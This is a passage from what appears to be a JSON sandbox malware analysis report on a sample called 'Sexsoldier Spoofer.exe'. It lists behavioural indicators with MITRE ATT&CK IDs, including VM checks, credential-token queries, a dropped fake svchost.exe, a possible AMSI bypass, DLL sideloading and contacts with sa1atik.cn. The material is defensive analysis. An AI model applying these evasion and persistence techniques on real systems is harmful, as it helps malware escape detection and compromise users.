parameters (UID: 00000000-00004224)\n \"svchost.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004952)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"SexsoldierSpoofer.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004648)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"SexsoldierSpoofer.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004648)\n \"conhost.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004224)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"svchost.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004952)\n \"svchost.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003232)\n \"ONENOTEM.EXE\" called \"GetForegroundWindow\" (UID: 00000000-00005500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"conhost.exe\" called \"IsWow64Process\" with parameter \"4224\" - (UID: 00000000-00004224)\n \"RPZ-HWID.exe\" called \"IsWow64Process\" with parameter \"7748\" - (UID: 00000000-00007748)\n \"svchost.exe\" called \"IsWow64Process\" with parameter \"3232\" - (UID: 00000000-00003232)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2136\" - (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"svchost.exe\" called \"GetWindowTextW\" (UID: 00000000-00004952)\n \"ONENOTEM.EXE\" called \"GetWindowTextW\" (UID: 00000000-00005500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"SexsoldierSpoofer.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004648)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002136)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002136)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: MicrosoftEdgeUpdateCore.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00002136-52215-217-00ED9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00002136-52215-194-00EDC4B6\n FindNextFileW@KERNEL32.DLL at 00000000-00007728-53433-394-00FBC71C\n FindFirstFileExW@KERNEL32.DLL at 00000000-00007728-53433-396-00FBC75D\n FindFirstFileExW@KERNEL32.DLL at 00000000-00007728-53433-511-00FC0394","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"select * from Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00004952-00002714-1111402502\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002136-52215-217-00ED9F43\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007728-53433-497-00FBBC73","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002136-52215-217-00ED9F43\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007728-53433-497-00FBBC73","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00002136-52215-141-00EDD610","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00002136-52215-151-00EDD501","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$34","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00007728-53433-451-00FBAFFC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network adapter information (Dotnet)","description":"Observed namespace \"System.Net.NetworkInformation\" and TypeReference \"NetworkInterface\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-137","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00002136.00000001.137903.03050000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00002136-52215-135-00EDDAD1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00007728-53433-64-00FC2060","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"svchost.exe\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"\n \"svchost.exe\" issued a query \"select * from Win32_OperatingSystem\"\n \"svchost.exe\" issued a query \"select Name from Win32_Processor\"\n \"svchost.exe\" issued a query \"Select Name from Win32_VideoController\"\n \"ONENOTEM.EXE\" issued a query \"Select Name from Win32_VideoController\"\n \"ONENOTEM.EXE\" issued a query \"select * from Win32_OperatingSystem\"\n \"ONENOTEM.EXE\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"\n \"ONENOTEM.EXE\" issued a query \"select Name from Win32_Processor\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %PROGRAMFILES%\\(X86)\\MICROSOFT\\EDGEUPDATE\\1.3.251.5\\PSMACHINE.DLL\n %PROGRAMFILES%\\(X86)\\MICROSOFT\\EDGEUPDATE\\1.3.251.5\\MSEDGEUPDATE.DLL\n %PROGRAMFILES%\\(X86)\\MICROSOFT\\TEMP\\EUDE7D.TMP\\MSEDGEUPDATE.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$37","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"SexsoldierSpoofer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"conhost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"RPZ-HWID.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"svchost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"ONENOTEM.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"MicrosoftEdgeUpdate.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"MicrosoftEdgeUpdateComRegisterShell64.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"svchost.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"svchost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"ONENOTEM.EXE\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"ONENOTEM.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"svchost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SVCHOST.EXE\")\n \"MicrosoftEdgeUpdate.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\MICROSOFT EDGE UPDATE\")\n \"MicrosoftEdgeUpdate.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MICROSOFTEDGEUPDATE.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"select Name from Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004952-00002714-1111013703\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Cloudflare DNS over HTTPS Domain (cloudflare-dns .com in TLS SNI)\" (SID: 2027695, Rev: 5, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"SURICATA HTTP unable to match response to request\" (SID: 2221010, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":".NET code is able to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"svchost.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetValue\" in \"svchost.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"RPZ-HWID.dll\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetValue\" in \"RPZ-HWID.dll\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetSubKeyNames\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":5,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in file \"Sexsoldier Spoofer.exe\"\n Found registry modification API: \"RegCreateKeyExW\" in file \"Sexsoldier Spoofer.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Able to execute application (.NET)","description":"Observed function \"System.Diagnostics.ProcessStartInfo.UseShellExecute\" in \"Sexsoldier Spoofer.exe\"\n Observed function \"System.Diagnostics.ProcessStartInfo.UseShellExecute\" in \"svchost.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":3,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"file/memory contains long string(File: \"RPZ-HWID.dll\")\n Found string \"processstartinfo\" (Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"psmachine_arm64.dll\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"psuser_arm64.dll\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"psmachine.dll\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"psuser.dll\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"MicrosoftEdgeUpdateCore.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"psmachine_arm64.dll\")\n file/memory contains long string(File: \"psuser_arm64.dll\")\n file/memory contains long string(File: \"psmachine.dll\")\n file/memory contains long string(File: \"psuser.dll\")\n file/memory contains long string(File: \"MicrosoftEdgeUpdateCore.exe\")\n file/memory contains long string(File: \"MicrosoftEdgeUpdateComRegisterShell64.exe\")\n file/memory contains long string(File: \"MicrosoftEdgeUpdate.exe\")\n file/memory contains long string(File: \"MicrosoftEdgeComRegisterShellARM64.exe\")\n file/memory contains long string(File: \"MicrosoftEdgeUpdateBroker.exe\")\n file/memory contains long string(File: \"MicrosoftEdgeUpdateOnDemand.exe\")\n file/memory contains long string(File: \"CopilotUpdate.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$38","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"conhost.exe\" called \"CopyFileW\" to copy %ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\conhost.exe to new location %APPDATA%\\SystemData\\svchost.exe (UID: 00000000-00004224)\n \"MicrosoftEdgeWebview2Setup.exe\" called \"CopyFileW\" to copy %TEMP%\\MicrosoftEdgeWebview2Setup.exe to new location %PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateSetup.exe (UID: 00000000-00007060)\n \"MicrosoftEdgeUpdate.exe\" called \"CopyFileW\" to copy %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.251.5\\MicrosoftEdgeUpdate.exe to new location %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe (UID: 00000000-00007728)\n \"MicrosoftEdgeUpdate.exe\" called \"CopyFileW\" to copy %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.251.5\\CopilotUpdate.exe to new location %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\CopilotUpdate.exe (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"SexsoldierSpoofer.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8 (UID: 00000000-00004648)\n \"conhost.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\SystemData (UID: 00000000-00004224)\n \"MicrosoftEdgeWebview2Setup.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\Microsoft (UID: 00000000-00007060)\n \"MicrosoftEdgeWebview2Setup.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\Microsoft\\Temp (UID: 00000000-00007060)\n \"MicrosoftEdgeWebview2Setup.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp (UID: 00000000-00007060)\n \"MicrosoftEdgeUpdate.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\1.3.251.5 (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$39","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"ONENOTEM.EXE\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00005500)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134346621926234836.2136.DefaultAppDomain.powershell\" - (UID: 00000000-00002136)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sa1atik.cn\"\n \"gitlab.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"1.1.1.1:443\"\n \"104.16.248.249:443\"\n \"152.53.49.102:443\"\n \"172.65.251.78:443\"\n \"52.123.225.104:443\"\n \"52.123.251.207:443\"\n \"13.32.241.16:443\"\n \"151.101.193.44:443\"\n \"172.64.146.215:443\"\n \"68.67.179.164:443\"\n \"192.178.142.132:443\"\n \"150.171.30.11:443\"\n \"23.38.111.110:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"powershell.pdb\"\n \"MicrosoftEdgeUpdate_unsigned.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select Name from Win32_VideoController\" (Source: 00000000-00004952-00002714-1110736179, Indicator: \"select name from win32_videocontroller\")\n \"select Name from Win32_Processor\" (Source: 00000000-00004952-00002714-1111013703, Indicator: \"select name from win32_processor\")\n \"select * from Win32_OperatingSystem\" (Source: 00000000-00004952-00002714-1111402502, Indicator: \"select * from win32_operatingsystem\")\n \"select TotalPhysicalMemory from Win32_ComputerSystem\" (Source: 00000000-00004952-00002714-1111707048, Indicator: \"select totalphysicalmemory from 